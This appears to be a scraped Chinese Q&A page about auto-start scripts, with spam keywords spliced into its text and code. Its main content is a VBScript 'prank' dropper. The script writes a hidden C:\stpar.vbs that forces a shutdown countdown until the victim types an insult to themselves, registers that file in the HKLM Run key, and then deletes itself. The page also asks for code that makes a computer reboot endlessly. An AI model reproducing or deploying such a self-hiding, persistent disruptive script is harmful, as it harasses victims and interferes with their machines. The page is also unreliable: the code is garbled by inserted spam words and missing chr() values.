1.帮我改一下开机自动启动的开机开机vbe脚本
2.易语言怎么写一个程序让他开机自动运行呢?比如说时钟 开机自动运行的源码~怎么写啊?
3.E语言写开机自动运行的源码
4.让电脑不断重启的代码是什么?
帮我改一下开机自动启动的vbe脚本
上面代码保存为vbs放在启动项里就行
如果往上面那整人的脚本加代码的话,你得运行一次脚本
或者
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "stpar.vbs"
Key_data = "C:\stpar.vbs" (你想运行程序的启动启动路径 注释)
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
以上的vbs是通过修改注册表加入启动项的 开机启动stpar.vbs
你把整人的脚本保存后放在C:\ 起名stpar.vbs 再运行以上脚本就行
但这些启动项都隐藏不了,都能用或其他软件查看到
给你重新写源码,源码源码徐州麻将源码教程保存后运行,开机开机即可开机运行stpar.vbs(整人代码) 下面代码会自删的
运行后会在C:\建stpar.vbs 且 注册表加入开机启动,并隐藏stpar.vbs 文件
Set FSO=CreateObject("Scripting.FileSystemObject")
Set f=FSO.OpenTextFile("C:\stpar.vbs",启动启动qq在线源码下载2,True)
f.WriteLine "on error resume next "
f.WriteLine "dim WSHshellA"
f.WriteLine "set WSHshellA = wscript.createobject("&chr()&"wscript.shell"&chr()&") "
f.WriteLine "WSHshellA.run "&chr()&"cmd.exe /c shutdown -r -t -c "&chr()&""&chr()&"说我是猪,不说我是猪一分钟内关你电脑,不信的源码源码安卓程序源码修改话就试试~~"&chr()&""&chr()&" "&chr()&",0 ,true"
f.WriteLine "dim a"
f.WriteLine "do while(a <> "&chr()&"我是猪"&chr()&")"
f.WriteLine "a = inputbox ("&chr()&"说我是猪,就不关你电脑,快点哦,开机开机时间只有一分钟,启动启动说"&chr()&""&chr()&"我是源码源码猪"&chr()&","&chr()&"说不说"&chr()&","&chr()&"不说"&chr()&",,)"
f.WriteLine "msgbox chr() + chr() + chr() + a,0,"&chr()&"MsgBox"&chr()&""
f.WriteLine "loop"
f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"早说嘛~~!"&chr()&""
f.WriteLine "dim WSHshell"
f.WriteLine "set WSHshell = wscript.createobject("&chr()&"wscript.shell"&chr()&")"
f.WriteLine "WSHshell.run "&chr()&"cmd.exe /c shutdown -a"&chr()&",开机开机0 ,true"
f.WriteLine "msgbox chr() + chr() + chr() + "&chr()&"o(∩_∩)o...哈哈,真过瘾~~!启动启动!源码源码要记得我吖~~"&chr()&""
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "stpar.vbs"
Key_data = "C:\stpar.vbs"
AutorunProgram.RegWrite regpath&Key_Name,开机开机新世纪理财源码Key_data,Type_Name
Set a = CreateObject("Scripting.FileSystemObject")
a.GetFile("c:\stpar.vbs").Attributes = 2
set fso=createobject("scripting.filesystemobject")
fso.DeleteFile WScript.ScriptFullName
破解 运行 输入shutdown -a
接着把进程里的 wscript.exe 结束就行
易语言怎么写一个程序让他开机自动运行呢?比如说时钟 开机自动运行的源码~怎么写啊?
易语言怎么写一个程序让他开机自动运行呢?比如说时钟
开机自动运行的源码~怎么写啊?